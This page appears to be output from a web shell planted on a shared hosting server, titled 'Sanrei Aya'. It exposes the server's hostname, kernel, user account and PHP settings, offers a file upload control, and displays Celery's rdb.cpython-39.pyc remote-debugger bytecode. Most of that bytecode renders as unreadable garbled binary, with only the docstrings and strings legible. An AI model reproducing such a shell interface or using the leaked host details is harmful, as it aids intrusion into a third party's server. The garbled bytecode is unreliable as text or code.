Yohohohohohooho | Sanrei Aya
Sanrei Aya


Server : LiteSpeed
System : Linux barito.iixcp.rumahweb.net 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
User : elvh3918 ( 1528)
PHP Version : 8.2.31
Disable Function : mail
Directory :  /usr/local/lib/python3.9/site-packages/celery/contrib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.9/site-packages/celery/contrib/__pycache__/rdb.cpython-39.pyc
a

��Sh��@s�dZddlZddlZddlZddlZddlmZddlmZdZ	dZ
ej�d�pRdZ
eej�d	�pde
�ZdgZeed
�ZdZdZd
ZdZGdd�de�Zdd�Zddd�ZdS)a6Remote Debugger.

Introduction
============

This is a remote debugger for Celery tasks running in multiprocessing
pool workers.  Inspired by a lost post on dzone.com.

Usage
-----

.. code-block:: python

    from celery.contrib import rdb
    from celery import task

    @task()
    def add(x, y):
        result = x + y
        rdb.set_trace()
        return result

Environment Variables
=====================

.. envvar:: CELERY_RDB_HOST

``CELERY_RDB_HOST``
-------------------

    Hostname to bind to.  Default is '127.0.0.1' (only accessible from
    localhost).

.. envvar:: CELERY_RDB_PORT

``CELERY_RDB_PORT``
-------------------

    Base port to bind to.  Default is 6899.
    The debugger will try to find an available port starting from the
    base port.  The selected port will be logged by the worker.
�N)�Pdb)�current_process)�CELERY_RDB_HOST�CELERY_RDB_PORT�DEFAULT_PORT�Rdb�debugger�	set_tracei�rz	127.0.0.1r�	_getframezs{self.ident}: Couldn't find an available port.

Please specify one using the CELERY_RDB_PORT environment variable.
z�{self.ident}: Ready to connect: telnet {self.host} {self.port}

Type `exit` in session to continue.

{self.ident}: Waiting for client...
z5{self.ident}: Now in session with {self.remote_addr}.z4{self.ident}: Session with {self.remote_addr} ended.cs�eZdZdZdZdZdZeedde	j
f�fdd�	Zddd	�Zd
d�Z
dd
�Zdd�Zdd�Zdd�ZeZZdd�ZeZZdd�Z�ZS)rzRemote debugger.zRemote DebuggerN�drcs�d|_||_tjtjf|_|�||||�\|_}|j�d�|j�	d�|j
�d|��|_||_||_
|�tj|d��|j��\|_}|j�d�d�dd�|D��|_|�tj|d��|j�d�|_t_t_t�jd|j|jd	�dS)
NT��:��selfcss|]}t|�VqdS�N)�str)�.0�v�r�</usr/local/lib/python3.9/site-packages/celery/contrib/rdb.py�	<genexpr>n�zRdb.__init__.<locals>.<genexpr>�rw�tab)Zcompletekey�stdin�stdout)�active�out�sysrr�
_prev_handles�get_avail_port�_sock�setblocking�listen�me�ident�host�port�say�BANNER�format�accept�_client�join�remote_addr�SESSION_STARTED�makefile�_handle�super�__init__)rr&r'Zport_search_limitZ	port_skewr�	this_port�address��	__class__rrr3[s(�
�zRdb.__init__c
Cs�zt�j�d�\}}t|�}Wnty0Yn0d}t|�D]�}t�tjtj�}|�	tj
tjd�|||}z|�||f�WnDt
y�}	z,|	jtjtjfvr�WYd}	~	q>�WYd}	~	q>d}	~	00||fSq>ttj|d���dS)N�-rr)r�name�split�int�
ValueError�range�socket�AF_INET�SOCK_STREAM�
setsockopt�
SOL_SOCKET�SO_REUSEADDR�bind�OSError�errno�
EADDRINUSE�EINVAL�	Exception�NO_AVAILABLE_PORTr*)
rr&r'Zsearch_limitZskew�_r4�ir!�excrrrr ts$zRdb.get_avail_portcCst||jd�dS)N)�file)�printr)r�mrrrr(�szRdb.saycCs|Srrrrrr�	__enter__�sz
Rdb.__enter__cGs|��dSr)�_close_session)r�exc_inforrr�__exit__�szRdb.__exit__cCsx|j\|_|_\t_t_|jrt|jdur4|j��|jdurH|j��|jdur\|j��d|_|�	t
j|d��dS)NFr)rrrrrr1�closer,r!r(�
SESSION_ENDEDr*rrrrrR�s





zRdb._close_sessioncCs|��|��dS�Nr)rRZset_continue�r�argrrr�do_continue�szRdb.do_continuecCs|��|��dSrW)rR�set_quitrXrrr�do_quit�szRdb.do_quitcCst�d�dSr)r�settracerrrrr[�szRdb.set_quit)rr)�__name__�
__module__�__qualname__�__doc__r$Z
_prev_outsr!rrrrr3r r(rQrTrRrZZdo_cZdo_contr\Zdo_qZdo_exitr[�
__classcell__rrr6rrTs"�
rcCs(td}|dus|js$t�}td<|S)z8Return the current debugger instance, or create if none.rN)�_currentrr)Zrdbrrrr�srcCs|durt�j}t��|�S)z:Set break-point at current location, or a specified frame.N)�_frame�f_backrr	)�framerrrr	�sr	)N)rarF�osr>r�pdbrZbilliard.processr�__all__r�environ�getrr;rrc�getattrrdrJr)r/rVrrr	rrrr�<module>s&*
[

Yohohohohohooho | Sanrei Aya